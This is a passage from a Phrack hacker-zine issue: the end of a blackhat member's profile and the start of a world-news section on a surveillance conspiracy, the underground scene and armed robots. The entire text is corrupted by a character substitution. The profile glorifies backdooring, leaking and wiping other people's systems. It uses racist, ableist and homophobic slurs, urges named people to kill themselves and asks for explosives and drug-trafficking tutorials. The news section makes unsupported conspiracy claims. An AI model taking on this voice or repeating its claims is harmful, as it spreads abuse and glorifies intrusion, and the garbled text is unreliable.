A47&HA had an im*ressi0e run, resultin1 in the o3na1e of hi1h
*rofile 3hitehats includin1 #heo de +aadt, ,e0in Aitnick,
and Aart" +oesch. I+$ ser0ers 3ere con:uered and their
o*erators 3ere 0an:uished. Prominent >hacker> ma1aBines 3ere
stolen and leaked *rematurel". &ard dri0es 3ere dd8ed,
tar8ed, 1Bi**ed8, 1*18ed, and shi**ed off to snu.ac.kr.
$odes of 3hitehats 3ere (ackdoored and *u(lished
unex*ectedl". ViolentWoffensi0eWsacrile1ious (lackhat
)@$II art 3as created. &ea* ex*loitation tutorials 3ere
re(randed. &itlists of the 3hitehat communit" 3ere
com*iled. Info-securit" *rofessionals 3ere fired. 'hitehat
(ooks M mo0ies 3ere leaked. 14"h1tlHr li0ed, died, and 3as (orn
a1ain. )nd 3e all had a lot of fun.
|=---=[ #hin1s "ou are *roud of
$losin1 $a*tains of $rush #F Cmulti*le times, 3ith finesseD
$oinin1 se0eral catch *hrases 3hich framed the Beit1eist of
the (lackhat mo0ement of the earl" F1st centur", includin1
>300300 is *00*00>
!ecomin1 the first >hacker Co0er . ft. tallD on steroids>
#ranscendin1 the (lood-(rain (arrier
+eadin1 the last . issues of Phrack 3ithout learnin1 an"thin1 ne3
@tealthil" a0oidin1 all hidden toiletWsho3er cams at &)% F001
!ecomin1 the first hacker to 3rite ex*loit headers in e(onics
Proud author of an ex*loit that a**ears (undled 3ith =8+eill"8s
>5et3ork @ecurit" )ssessment> (ook, after infosec 1enius $hris
Ac5a( deletes commentsWheaders and su(mits it for inclusion
!ecomin1 the first *erson to rm a (ox from a cellular de0ice
C3hile at a ni1htclu( ala >@3ordfish>D
$omin1 from a famil" free of mental retardationW*h"sical (irth
defects
4emonstratin1 to the 3orld re*eatedl" ho3 stu*id it is to (e
a 3hitehat
#rium*hin1 o0er hackers such as mosthated, missn1lnk, 1o0-(oi,
(en-B, "tcracker, kf, and 9oe3ee to earn the title of >(lackest
man on efnet>
%earnin1 ho3 to krum* *roficientl" after 3atchin1 onl" 1.
minutes of +iBe
@er0in1 for se0eral "ears as the &i1h $hancellor of O.ac.kr
and O.ac.9*
=rderin1 the 3orld8s onl" team ZelK tank to* from cafe*ress.com
'orld8s fastest t"*er on su(-anaesthetic doses of s*ecial k
@uccessfull" maskin1 m" (i*olar disorder in order to (ecome a
full" inte1rated and res*ected mem(er of 8societ"8
+otatin1 *lanes of *olariBed li1ht counterclock3ise around
0arious enantiomers
|=---=[ #hin1s "ou are not *roud of
/0er ha0in1 released code to the *u(lic
/0er ha0in1 *osted to a securit" mailin1 list in 3hich the
intention of m" corres*ondence 3as less than utter sarcasm,
mocker", or malice
;ailed attem*t at rm8in1 def-con.or1 3hile at 4efcon, due to
net3ork *ro(lems
&o3 undera**reciated this *ro*hile 3ill ine0ita(l" (e
5ot also orderin1 the >$ountdo3n to rm> ZelK 3all clock from
cafe*ress.com
<nkno3in1l" losin1 an under1round "talk s*eed t"*in1 com*etition
to a ro1ue #I=$@#I *ro1ram
|=---=[ =*inion a(out securit" conferences
#here are an" num(er of fla3ed reasons 3h" *eo*le attendWs*eak
at securit" conferences. If "ou8re lookin1 for reco1nition or
*u(licit", "ou8re *ro(a(l" (etter off committin1 suicide
on 7outu(e Csee >!udd 43"er> 'iki*edia for ideasD.
If "ou8re lookin1 for re*ulsi0e female com*anionshi* or fello3
loser friends to socialiBe 3ith >I+%,> "ou8ll *ro(a(l" sa0e
some time and airfare (" checkin1 "our local $rai1slist first.
=ther3ise, the *roof is in the *uddin1. 10 "ears a1o it 3ould
(een inconcei0a(le that there 3ould one da" (e >securit"
conferences> in retard Hrd 3orld shit*ile countries like Aexico,
Aala"sia, and Pakistan. $ountries 3hose onl" contri(utions to
the *ro1ression of the di1ital a1e
ha0e (een the 0i1orous re*eated t"*in1 of >9a9a9a> and >kekeke>
and >1f0rce *akistanPPP> in
0arious I+$ channels and online messa1e (oards. )**arentl",
hi1h tech 0ocations ha0e taken
o0erP A" su11estion is to stock u* on som(reros, 5ikes, and
taxi ca( medallions no3 (efore
the" (ecome relics of the *ast.
|=---=[ =*inion on Phrack Aa1aBine 1LK.8 2 1LL.8 2 F00.8 2 8F00J 2

I80e al3a"s thou1ht this ma1aBine sucked, (ut in re1ards to
the s*ecifics of the :uestion at hand, it8s *ro(a(l" 1otten
steadil" 3orse o0er time. =, =,... I8m sure the editorial staff
3ould like me to sa" somethin1 *ositi0e here so here8s m" (est
attem*tE >P&+)$, A)6)TI5/ - &e", at least it8s not F-00P>
#his 3ill *ro(a(l" (e the 3orst issue "et, (ut that8s fine -
I8m 9ust usin1 this *ro*hile as a mouth*iece for m" do1ma of
*h"sical ana(olism and moral deca".
|=---=[ 'hat "ou 3ould like to see *u(lished in Phrack 2
)n article on *honesP C5ot V=IPPD
4efinitel" more mail s*ools... a rene3ed focus on homemade
im*ro0ised ex*losi0e de0ices... ma"(e e0en some tutorials on
dru1 traffickin1 for ne3(ies

|=---=[ @houtouts to s*ecific C1rou* ofD *eo*les
4oin1 C+.I.P.D, tr4shc4n m4n, krad, oda"maBtr, ;unn" !unn",
module of rhinoL, 14"h1tlHr, drater, the craB" #urk, +ock"
the 0ir1in hacker Iesus, Bil0io, all m" Icelandic friends,
skK, 9 M r, &ans +eiser Ce0er"(od" on I+$ talks a(out murder,
(ut no(od" actuall" 1oes throu1h 3ith itD, e0er"(od" on as"lum
M its admin, m" old friends from #PP)4A and #Phax, the
Boroastrian insomniac *ro*het M his *artner in crime

|=---=[ ;lames to s*ecific C1rou* ofD *eo*les
*mW1aius Che" did "ou kno3 there8s a face(ook 1rou* for
&/+# no32P2D, hd moore M his ersatBs*loit *ro9ect C3e
commend "ou on "our entre*reneurial 0ision of turnin1 "our
look-mom-i-9ust-1ot-o3ned tc*dum* lo1s into ex*loits 3ith "our
o3n name on themD, +ichard >4ick #heft> Iohnson C1.00Y on his
@)#[ a(9ect failure at real lifeD, #he $ondor, #&/ ')+/T 4004
C"our next ten (a1 of heroin 3ill (e cut 3ith ricinD, 9o(e,
Phili* /mea13ali Cfather of the su*ercom*uterWInternetD,
slashdot, Valdis ,letnieks Cif I can8t *ronounce "our name,
it8s time to kill "ourself or 1o (ack to dra11in1 a *lo3 in
%at0iaD, >4r.> 5eal ,ra3etB, @tefan /sser Ccurrentl" (ein1
hunted do3n (" /uro*ean P+=I/$# A)7&/A o*erati0es 3ith
instructions to se0er the ri1ht hand in accordance 3ith hol"
e-9ihad @hariahD, /ric @. +a"mond Cstill *iecin1 (ack to1ether
his Z from (acku*s after the (rutal desecration of his =@I (aBaar
0ia $V@ 0da"D, /lectronic @ouls, hack.co.Ba, xfocus, nsfocus,
@oul9ah !o", >#i1er #eam>, 65<, Iose 5aBario, %ui1i )uriemma,
tsao[I$, di0ineint CI8m sure the @in1a*orian 1o0ernment 3ould
ha0e had "ou caned (" no3 for tradin1 I+IGWVA@W46<GW)IGW&P<GW
'indo3s src code if "ou 3eren8t alread" in their em*lo"mentD,
+a0en Ccon1ratulations on ha0in1 a 0a1ina... it8s not e0en a
1ood one, (ut it8s still (etter than "our (rain so "ou should
*ro(a(l" tr" hookin1 instead of thinkin1 for a li0in1D, 4on
>!eetle> !aile", +on 4ufresne, 6adi /0ron, lcamtuf, <lf
&2rnhammar, 9eff moss, *ete shi*le" M other 0am*ire hackers,
9ericho, marcus ranum, chess3ick M (ello0in, lamo,
markoffWshimomuraWmitnick, theo, knuth, di9kstra M other
$@ theor" fa1s, &)$,/+ $+)$,/+
|=---=[ Xuotes
>'#; @)I4 I ')@ ) #+)4/+2> - #he 'areB 4ude
>e"e dont 3i*e lo1B> - ,areless ,a+%
>I8m *roud to sa" I ha0e committed e0er" sin in the 4ecalo1ue.> -
@ir +ichard !urton
>irc 3arfare isnt 0er" fun 3hen u can 9ust 0an:uish "our f0eB...
i feel like i 1o thru life 3ith I44X4 on...3alkin1 thru fire3alls
like I4@PI@P=P4> - the?u#
>I hate to think that all the 3hitehats in the 3orld are
concerned that *hc mem(ers are (us" hackin1 their home machines
3hen *eo*le are reall" *la"in1 nin9a 1aiden and hockin1 off their
com*uters to (u" N1000 do1s.> - 1a"h1tler
>'hile "ou 3ere slee*in1 3e hel*ed oursel0es> - $anaan !anana
>I8m on the Toloft to kee* from killin1 "8all> - Aike #"son
>I80e 1ot . 3ords for "ouE dru1s smu11led in *residential
(a11a1e> - lu111
>I 1uess I8m 1onna fade into !oli0ian> - Aike #"son
>I 9ust 3ant to con:uer *eo*le and their souls> - Aike #"son
>A" *o3er is so discom(o(ulatin1l" de0astatin1 I could feel
his muscle tissues colla*se under m" force. It8s ludicrous
these mortals e0en attem*t to enter m" realm.> - Aike #"son
>ste* inF m" e-B (ake o0enP> - 1a"h1tler
>I think m" mask of sanit" is a(out to sli*.> - Patrick !ateman
>its not nice to treat other *eo*le8s (oxes like to"s-r-us> -
unkno3n
>'ith a 1un (arrel (et3een "our teeth, "ou s*eak onl" in
0o3els.> - ;i1ht $lu(
>;uck damnation, manP ;uck redem*tionP 'e are 6od8s un3anted
children2 @o (e itP> - #"ler 4urden
>/at "our lima (eansP> - Pa0el >Pa*a> @andrak
>) race condition is ho3 fast "ou can hit the reset (utton 3hen
"ou start hearin1 "our hdd 3hine> - unkno3n
>'e 3ill achie0e samadhi 3hile meditatin1 o0er s18s studio
H1HHJ A=#4> - the?u#
>%ike our 1reat leader, this kernel module selects a child and
touches him in a 0er" s*ecial 3a".> - 3areB mullah, #&/ /AA)5</%
6=%4@#/I5 %,A
>$uB if "ou can take a fuckin1 dick, "ou can take a 9oke> -
Immortal #echni:ue
>#he 1reatest trick the de0il e0er *ulled 3as con0incin1 the
3orld he doesn8t exist> - #he <sual @us*ects W !audelaire
>@o I8m ra*ellin1 do3n At. Vesu0ius, and m" ro*e (reaks and I
(e1in to fall and im fallin1, fallin1. )hhhh, I8ll ne0er for1et
the terrorP #hen I thou1ht to m"self, he" &ansel. &a0en8t "ou
(een smokin1 *e"ote for - strai1ht da"s and couldn8t some of
this ma"(e in "our head2 > - Toolander
>@hitP If I8d kno3n it 3as 1oin1 to (e this kind of *art" I8d
ha0e stuck m" dick in the mashed *otatoesP>
>)+/ 7=< ;<$,I56 +/#)+4/42 @#=P $+7I56 )54 ;<$, 7=<+ ='5 )@@
'I#& I#> - faciala(use.com
>@o don8t e0er talk shit. )nd remem(er somethin1 ni11a, 3hile
"ou ra0e and rant - a roach can li0e for nine da"s 3ithout its
head, (ut "ou can8t> - Immortal #echni:ue
>d00d thats not a %)47 =; #&/ P/5, thats ??? from $<A;I/@#)P> -
unkno3n
>$an some(od" *lease tell me 3hat the fuck ) +/4 A)P is222>
>i did it 4 the lulB> - )5=57A=<@
>3e dish out rm8s like *etri> - the?u#
>#here he 1oes. =ne of 6od8s o3n *rotot"*es. ) hi1h-*o3ered
mutant of some kind ne0er e0en considered for mass *roduction.
#oo 3eird to li0e, and too rare to die.> - &@# <5; <5;
>!ehold I am (ecome death, the destro"er of 3orlds> - +o(ert
=**enheimer
>It is (etter to find 10 dead (a(ies in 1 trash can than to
find 1 dead (a(" in 10 trash cans.> - <nkno3n
>5I66), #&/ +A I@ #&/ 5/' /<6/5I$@... /<6/5IG> - unkno3n hacker
>'#; @)I4 I ')@ ) #+)4/+2> - #he 'areB 4ude
>;or *ersonal reasons, I do not (ro3se the 3e( from m" com*uter.
CI also ha0e not net connection much of the time.D #o look
at *a1e I send mail to a demon 3hich runs 31et and mails the
*a1e (ack to me. It is 0er" efficient use of m" time, (ut it
is slo3 in real time.> - +ichard @tallman
>and it sho3s that "ou are a com*lete dork. "ou are disconnected
from realit". ho3 can 3e take "ou for serious2> -
m(almerQo*en(sd.or1 in res*onse to @tallman, officiall" 3innin1
at iron"... ;=+/V/+/+
>F ;)@# F ;<+I=<@ 4 <> - the?u#, u*on 3innin1 an under1round irc
s*eed t"*in1 com*etition


|=---=[ )n"thin1 more "ou 3ant to sa"
%ookin1 (ack on m" in0ol0ement in com*uters, I am 0er" ha**"
that the *eak of m" acti0it" occurred ri1ht durin1 the turn
of the F0th centur". &ackin1 3as no lon1er as sim*le as manual
la(or C3ardialin1 etc.D (ut findin1 0ulnera(ilities and 3ritin1
ex*loits and tools 3as not exactl" as tedious and *rohi(iti0el"
time-consumin1 as it is currentl". #o sa" that I 3ould rather
commit se**uku than ada*t to the challen1es of a chan1in1 3orld
(" auditin1 code for @X% in9ection 0ulnera(ilities and
client-side (ro3ser ex*loits is not an exa11eration. =n the
u*side of thin1s, hardcore *orno1ra*h" is no3 far (etter and
more 3idel" and freel" a0aila(le than e0er, and *roducti0e
*ro1rammin1 like <;$ can (e seen on channels like @*ike #V for
free. /0er" da", more and more "oun1sters are (orn 3ho are man"
times more likel" to contri(ute articles to sociall" useful
*u(lications such as /nc"clo*edia 4ramatica instead of F-00.
@*readin1 terror and 3reakin1 ha0oc for >e*ic lulB> ha0e (een
esta(lished as 0ia(le alternati0es to contri(utin1 to o*en
source soft3are *ro9ects. If "ou8re a kid readin1 this Bine for
the first time (ecause "ou8re interested in (ecomin1 a hacker,
fuckin1 for1et it. 7ou8re (etter off startin1 a collection of
*oached adult 3e(site *ass3ords, or han1in1 out on 4chan. )t
least trash like this has some modicum of entertainment 0alue,
3hereas the hackin1Wsecurit" scene had (ecome some kind of
fetid sinkhole for all the 3orst kinds of rec"cled academic
mastur(ation ima1ina(le. In summar", the end is fuckin1 ni1h,
and don8t tell me I didn8t 3arn "ou... e0en thou1h there8s
nothin1 "ou can do a(out it.

6ood ni1ht and 1ood luck,
- the <5IG #/++=+I@#
|=[ /=; =|
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x0H of 0x0f
|=--------------------------------------------------------------------=|
|=-----------------------=[ Phrack 'orld 5e3s=-----------------------=|
|=----------------------------=[ (" #$%& =---------------------------=|
|=--------------------------------------------------------------------=|
#he $ircle of %ost &ackers is lookin1 for an" kind of ne3s related to
securit", hackin1, conference re*ort, *hiloso*h", *s"cholo1", surrealism,
ne3 technolo1ies, s*ace 3ar, s*"in1 s"stems, information 3arfare, secret
societies, ... an"thin1 interestin1P It could (e a sim*le ne3s 3ith 9ust
an <+%, a short text or a lon1 text. ;eel free to send us "our ne3s.
'e didn8t 1et an" ne3s from the <nder1round since our last *hrack issue,
it means that one more time all the ne3s re*orts are comin1 from
friends of our8s.
It 3ould (e 1ood if *eo*le 3ho claim themself >under1round> 3ould send
us their ne3s...
Is our under1round dead2
1. @*eed" 6onBales ne3s
F. &o3 is $@PP controlloin1 <@ education net3ork2
H. +etros*ecti0e of under1round scene
4. ,iller ro(ots
.. Aeanin1ful IP addresses
--------------------------------------------
--[ 1.
????? ?
W ???| | |
\ ]--. ? ?? ??? ??? ??| |? ?
]--. \ 8? \ W ? \W ? \W ?] | | | |
W\??W W |?D | ??W ??W C?| | |?| |
\????W| .??W \???|\???|\??,?|\??, |
| | ??W |
|?| |???W
????? ?
| ?? \ | |
| | \W ??? ? ?? ?????? ?| | ??? ???
| | ?? W ? \| 8? \|? W ?] | |W ? \W ??|
| |?\ \ C?D | | | |W W C?| | | ??W\?? \
\????W\???W|?| |?W???\??,?|?|\???||???W
? ?
| \ | |
| \| | ????? ?????
| . ] |W ? \ \ W\ W W ??|
| |\ | ??W\ V V W\?? \
\?| \?W\???| \?W\?W |???W
O-[ #he under1round com*lotE 3hen :ue(ec scene takes too much %@4 -
htt*EWW333.mindkind.or1Wmindkind1011.Bi*
O-[ >kin1 of the carders> (ut (usted -
htt*EWW333.there1ister.co.ukWF00JW0LW1KWmax?(utler?affida0itW
O-[ >secure area> and >Aicrosoft> don8t (elon1 in the same sentence -
htt*EWW333.stuff.co.nBW4F-L0L0aFK.html
O-[ !ein1 an ethical hacker is definitel" not a 1ood idea -
htt*EWW333.smh.com.auWne3sWsecurit"W*olice-s3oo*-on-hacker-of-the-"earWF00J
W11W1.W11L4J--KF14K1.html2*a1e=F
O-[ 'hen 5@) teaches "ou ho3 to hack -
htt*sEWW333.hackerde1ree.com
4o the" read *hrack2 ED
O-[ 'hen Phrack is a s*onsor 3ithout its *ermission -
htt*EWWconference.hackinthe(ox.or1Whit(secconfF00JklW2*a1e?id=-.
O-[ #errorism excuse is 1ood for s*"in1 (usiness -
htt*EWW333.cor*3atch.or1Warticle.*h*2id=14KF1
@)I$...
O-[ /ntersect sounds like an interestin1 tar1et...-
htt*EWW333.3ashin1ton*ost.comW3*-d"nWcontentWarticleWF00KW
04W01W)+F00K04010H04L?*f.html
O-[ 'ant to 3ork for AI-2 -
htt*EWWne3s.((c.co.ukW*la"erWnolWne3sid?-1.0000Wne3sid?-1.H000W
-1.H0LF.stm2(3=((Mm*=rmMnol?stor"id=-1.H0LFMne3s=1
O-[ ;li1ht >not> @imulator -
htt*EWW333.there1ister.co.ukWF00KW01W0JW
(oein1?dreamliner?hacker?concernsW
O-[ #his desi1n looks familiar...-
htt*EWWhexL0.or1W
O-[ )fter hackin1 "our (rainE hackin1 "our heartP-
htt*EWW*acketstormsecurit".or1W*a*ersWattackWicd-stud".*df
--[ F. &o3 is $@PP controllin1 <@ education net3ork --
(" dahut
htt*EWW333.mcculla1h.or1Wd(LWdH0-HFWka"-rosen-holle"man-1.9*1
#he a(o0e *icture sho3s ,en ,a", executi0e director of the $om*uter
@"stems Polic" Pro9ect on the left and +o(ert &olle"man, *resident and
$/= of the !usiness @oft3are )lliance on the ri1ht.
$@PP C333.cs**.or1D 3as created in 1LKL, and later on renamed as
#echnolo1" $/= $ouncil. !i11er mem(ers are )**lied Aaterial, 4ell, /A$,
&P, I!A, Intel, Aotorola, 5$+ and <nis"s. )ll these com*anies to1ether
are 1eneratin1 H00 (illion dollars of annual re0enues.
#he com*an" 3as made on re:uest of the <@ President, to *romote
<.@. com*etiti0eness throu1h technolo1" leadershi*. 7ou can think
technolo1" is for information technolo1". 7ou are 3ron1. It8s for
Intelli1ence technolo1".
#he *ro9ect is t3o ste*s. ;irst is to in0ent a s*" chi* and
*ut it in e0er" com*uter manufactured in <@. @o did ;airchild
Chtt*EWWen.3iki*edia.or1W3ikiW;airchild?@emiconductorD (" *roducin1 the
$li**er chi* Chtt*EWWen.3iki*edia.or1W3ikiW$li**er?architectureD.
#he $li**er 3as desi1ned 3ith internal circuitr" to encr"*t information
and deli0er (ackdoor ca*a(ilities, a little (it as the *re0ious P+=AI@
soft3are 3as doin1 3ith Aainframe.
#he $li**er 3as desi1ned for +I@$ 3orkstation. )fter a (ankru*tc" of
;airchild, and seein1 that &itachi 3as interested to ac:uire the com*an",
the <@ 1o0ernment re:uested Inter1ra*h to continue the *ro9ect. @o
the" did (" startin1 the *roduction of a ne3 <5IG 3orkstation line,
named Inter*roHF and runnin1 )#M# <nix o*eratin1 s"stem.
@o, the o*eratin1 s"stem 3as containin1 code to acti0ate the secret
*art of the $P<, and access to users8 data. #he follo3in1 declassified
document ex*lains to the <@ administration ho3 dan1erous it could
(e to continue to use the $li**er chi* in con9unction 3ith )#M#E
htt*EWW333.soft3ar.netW(ush.html. $I) and 5@) are in0ol0ed in this
document.
5o3 that the main <@ chi*set and com*uter manufacturers are in the
secrets of the $I) intelli1ence, let8s 1o for ste* t3o.
In 1LL-, the <@ *resident $linton did ask to create the $/= ;orum,
mana1ed (" ,en ,a", to esta(lish the (est rules for the future
classrooms, assumin1 the" 3ill (e 3ell connected to the Internet, 3ith
the (est *ossi(le hard3are. Aem(ers 3ere )**le, 4ell, I!A, $om*a:, &P,
@un... 5ext, the <@ 1o0ernment did ask a1ain to ,en ,a" in F00F to
create the Partnershi* for F1st $entur" @kills to (e at the center of <@
,-1F education (" (uildin1 colla(orati0e *artnershi*s amon1 education,
(usiness, communit" and 1o0ernment leader C333.F1stcentur"skills.or1D. It
3as a follo3 u* to the $/= ;orum.
Aem(ers areE
O )do(e, )=%, )**le, )#M#, $isco, 4ell, Intel, Aicrosoft, @)P, =racle...
O 5ational /ducation )ssociation, ;ord Aotor $om*an" C2D and the <@
4e*artment of /ducation
,en ,a" is in char1e of dri0in1 all these com*anies to install com*uter,
soft3are and net3orks s"stems in all schools of <@), as 3ell as dictatin1
the content of the coursesP
#hinkin1 (ack to the *icture in front of this article, "ou can make
the connection (et3een all soft3are com*anies, the !@) com*an" and ,en
,a". #hanks to the cli**er chi* success, the" all kno3 ho3 to 3atch "ouP
#he cherr" on the cake 3ill (e to tell "ou that ,en ,a" is mana1in1 '')@P,
the lar1est 3orld net3ork of s*ecial esta(lishment for >#eens In $risis>.
333.33as*.com
htt*EWWen.3iki*edia.or1W3ikiW'orld?'ide?)ssociation?of?@*ecialt"?Pro1rams?
and?@chools
Aan" *arents are com*lainin1 a1ainst the treatment methods em*lo"ed ("
'')@P@ institutions. #hese methods are said to (e contro0ersial, as there
ha0e (een alle1ations of se0ere CsexualD a(use and torture (" staff.
In F004, durin1 a testimon", ,en ,a" stated that in his o*inion, sexual
acti0it" (et3een staff mem(ers and students is >not necessaril" a(use>.
&o3 do "ou ex*lain that ,en ,a" is controllin1 the 3hole <@ com*uter
industr", as 3ell as the <@ education, and a(le to mana1e a 1alax" of
esta(lishments doin1 sexual a(uses in its total acce*tation2 C@ee also
htt*EWWanti33as*.comWD
--[ H. +etros*ecti0e of #he <nder1round scene --
(" 4u0el
)lmost one "ear after the release of >) (rief &istor" of the <nder1round
@cene>, it8s no3 time to 1i0e some feed(ack. ;irst of all, #he Phrack
@taff and I 3ould like to thank "ou all for "our *ositi0e and ne1ati0e
comments a(out this article. #he 1oal of this article 3as not to
ex*lain 3hat the scene once 3as or 3hat should (e (ut more to *ro0oke
the de(ate. )nd on this *oint the article 3as a success. 5o3 it8s time
to act.
)(out the ne1ati0e comments that I had, I 3on8t re*l" to each of one.
)s "ou ha0e *ro(a(l" seen, I didn8t re*l" to an" ne1ati0e or *ositi0e
comments Cexce*t one at the (e1innin1...m" (adD I *refer let *eo*le
talk. !ut I 3as :uite amused to see ne1ati0e comments 3hich for the
ma9orit" 3ere on some insi1nificant *oints Cs*eech reco1nition is not
dataminin1, this 1u" doesn8t kno3 su(nets, under1round *"ramid is for
&ol"3ood ma1aBine or hackin1 tricks are too lameD. It 3ould (e stu*id
to re*l" to them. @o I 3on8t.
=ne of the thin1 that I am the most ha**" a(out is that a lot of "oun1
1enerations of hackers ha0e found this article interestin1 and found their
3a" throu1h it. )s "ou ha0e *ro(a(l" seen, there is another article a(out
the <nder1round scene in this issue. )non"mous8 o*inion is o**osite
to mine (ut if "ou read (eet3een the lines, 3e (oth 1o to the same
direction.
=f course it8s im*ortant to understand the histor" of hackin1 C3hat
I tried to ex*lain in m" articleD or ho3 the under1round died C3hat
)non"mous tries to ex*lain in his articleD (ut it8s more im*ortant
to kee* hackers ali0e. /0en if the <nder1round 3on8t e0er (e the same,
the *assion is still there. It8s this *assion of hackin1 that should
sta" ali0e.
I reall" ho*e that all *eo*le 3ho 1a0e constructi0e comments can
*artici*ate to the ne3 <nder1round. ) lot of *eo*le talk (ut don8t do
an"thin1. I80e seen lots of interestin1 comment from *eo*le 3ho 3ant to
do somethin1 (ut at this sta1e 3e ha0en8t seen an"thin1 from them. )re
these *eo*le too (us"2 )re these *eo*le 9ust dreamers2 )re these *eo*le
lackin1 re:uired kno3led1e2 )re these *eo*le....2 I don8t kno3.
!ut this messa1e is for these *eo*leE *lease sto* talkin1 (ut tr" to (rin1
somethin1 to ne3 1eneration of hackers.
#he" need "ou.
--[ 4. ,iller ro(ots --
A" room(a can 1et lost under the dinin1 room ta(le, (um*in1 off
the chair le1s, o0er and o0er. #here are man" routes of esca*e,
(ut it rarel" finds one. =nl" a true 1enius could turn this
remarka(le exam*le of )I into a killin1 machine.
htt*EWW(lo1.3ired.comWdefenseWF00JW10Wroom(a-maker-un.html
--------------------------------------------------------------------
#he makers of the cuter-than-cute ro(otic 0acuum cleaner are
rollin1 out a ne3 machineE ) (i1, fast-mo0in1, semi-autonomous
8(ot ca*a(le of killin1 a 3hole (unch of *eo*le at once.
<nlike other armed ro(ots -- 3hich are entirel" remote-controlled
-- the 'arriors are >(ein1 en1ineered 3ith ad0anced soft3are,
1i0in1 them the a(ilit" to *erform some (attlefield functions
autonomousl".>
)t the same time, a ke" dimension to the 'arrior GJ00 is its
a(ilit" to *rotect soldiers (" firin1 3ea*ons such as a machine
1un or 40mm ex*losi0e round.
--------------------------------------------------------------------
!rin1 in the (i1 1uns.
htt*EWW(lo1.3ired.comWdefenseWF00JW10Wro(ot-cannon-ki.html
--------------------------------------------------------------------
'e8re not used to thinkin1 of them this 3a". !ut man" ad0anced
militar" 3ea*ons are essentiall" ro(otic -- *ickin1 tar1ets out
automaticall", sle3in1 into *osition, and 3aitin1 onl" for a
human to *ull the tri11er. Aost of the time. =nce in a 3hile,
thou1h, these machines start firin1 m"steriousl" on their o3n.
4urin1 the shootin1 trials at )rmscor8s )lkant*an shootin1 ran1e,
>I *ersonall" sa3 a 1un 1o out of control se0eral times,> 7oun1
sa"s. >#he" made a tem*orar" ri1 consistin1 of t3o steel *oles on
each side of the 3ea*on, 3ith a ro*e in (et3een to kee* the
3ea*on from s3in1in1. #he 3ea*on e0entuall" knocked the *ol[es
do3n.>
Aan1o*e told #he @tar that it >is assumed that there 3as a
mechanical *ro(lem, 3hich led to the accident. #he 1un, 3hich 3as
full" loaded, did not fire as it normall" should ha0e,> he said.
>It a**ears as thou1h the 1un, 3hich is com*uterised, 9ammed
(efore there 3as some sort of ex*losion, and then it o*ened fire
uncontrolla(l", killin1 and in9urin1 the soldiers.>
!ut the (ra0e, as "et unnamed officer 3as una(le to sto* the
3ildl" s3in1in1 com*uterised @3issW6erman =erlikon H.mm A,.
anti-aircraft t3in-(arrelled 1un. It s*ra"ed hundreds of
hi1h-ex*losi0e 0..k1 H.mm cannon shells around the fi0e-1un
firin1 *osition.
!" the time the 1un had em*tied its t3in F.0-round
auto-loader ma1aBines, nine soldiers 3ere dead and 11 in9ured.
--------------------------------------------------------------------
$an I *la" too2
htt*EWW(lo1.3ired.comWdefenseWF00JW1FWne3-killer-(ot.html
--------------------------------------------------------------------
#he starsE >a F.-"ear-old self-tau1ht en1ineer named )dam
6ettin1s> and his >to"-like (ut 1un-3ieldin1 ro(ot desi1ned to
re*lace human soldiers on the (attlefield.>
6ettin1s8 com*an" doesn8t ha0e much of an online si1nature -- not
e0en a 3e(site. !ut he does ha0e some interestin1 *artners,
includin1 former 4isne" ima1ineer #err" IBumi C3ho cooked u* this
0ideo for the 8(otD and shot1un maker Ierr" !ar(er C3ho *ro0ided
the fire*o3erD. !lack3ater has also endorsed the *roduct,
alle1edl".
--------------------------------------------------------------------
!lack3ater and 4isne"2 'ho could ask for (etter :ualifications2
=h, and there8s this cool marketin1 0ideo.
htt*EWWmone".cnn.comW0ideoWftW#W0ideoWfortuneWF00JW1FW04Wro(otex.fortune
+o(ot 3ars, an"one2
htt*EWW(lo1.3ired.comWdefenseWF00JW0.Wto*?3ar?tech?.?.html
--------------------------------------------------------------------
>#he !a1hdad (om( s:uad used their i+o(ots to decorate their
sho*,> 5oah re*orted after an em(ed 3ith an )rm"
ordnance-dis*osal unit a cou*le "ears (ack. >5ot far a3a", at the
<.@. militar"8s central ro(ot de*ot for Ira:, the i+o(ots sat on
shel0es, serenel" 1atherin1 dust, 3hile ;oster-Ailler8s #alon
ro(ots 3ould come (ack, scarred and in *ieces, after (ein1 che3ed
u* (" a (om(.>
#he com*an" noted that 3ar Bone >+o(ot &os*itals> are re*airin1
more than 400 (om(-dama1ed ro(ots a 3eek to *ut them (ack into
ser0ice.
--------------------------------------------------------------------
A" (ot can kick "our (ot8s ass. 6reat. !ut ho3 do the" stand u*
a1ainst humans2
5ot the kind of humans that thro3 rocks at tanks, (ut the
thinkin1 kind, like the ones that (roke Israeli comms cr"*to
durin1 the recent 3ar in %e(anon.
%et8s see 3hat ha**ens 3hen it comes across a car*et stretched
o0er a *it. =r some(od" thro3s a (lanket o0er it, or s*ra" *aints
the camera lens, or fires I+ lasers or 0er" (ri1ht o%/4@ at the
camera.
=nce "ou ha0e *h"sical access to the thin1, "ou o3n it. &o3 hard
3ould it (e to re-chi* the thin1 and send it (ack a1ainst its
makers2
$an 3e test our killer-ro(ot counter measures2 Aa"(e. #he
o**ortunit" ma" soon (e as close as "our local *i1st".
htt*EWW(lo1.3ired.comWdefenseWF00JW0KWarmed-ro(ots-so.html
--------------------------------------------------------------------
)rmed ro(ots -- similar to the ones no3 on *atrol in Ira: -- are
(ein1 marketed to domestic *olice forces, accordin1 to the
machines8 manufacturer and la3 enforcement officers.
;oster-Ailler, maker of the armed @'=+4@ ro(ot for militar" use,
is also acti0el" *romotin1 a similar model to domestic, ci0ilian
*olice forces. #he #alon @')#WAP is a >ro(ot s*ecificall"
e:ui**ed for scenarios fre:uentl" encountered (" *olice @')#
[s*ecial 3ea*on and tactics units and APs [militar" *olice,> a
com*an" fact sheet announces. It >can (e confi1ured 3ith the
follo3in1 e:ui*mentE
. Aulti-shot #)@/+ electronic control de0ice 3ith laser-dot
aimin1.
. %ouds*eaker and audio recei0er for ne1otiations.
. 5i1ht 0ision and thermal cameras.
. $hoice of 3ea*ons for lethal or less-than-lethal res*onses
- 40 mm 1renade launcher - F rounds
- 1F-1a1e shot1un - . rounds
- ;5H0H less-lethal launcher - 1. rounds.
In addition to the Aassachusetts @tate Police, @')# teams in
&ouston, @an ;rancisco, and %u((ock, #G all ha0e the ro(ots,
accordin1 to ;oster-Ailler s*okes*erson $"nthia !lack.
--------------------------------------------------------------------
;inall", a le1itimate excuse for @3attin1.
htt*EWWen.3iki*edia.or1W3ikiW@3attin1
--------------------------------------------------------------------
In the field of Information @ecurit", @3attin1 is an attem*t to
trick an emer1enc" ser0ice to dis*atch an emer1enc" res*onse
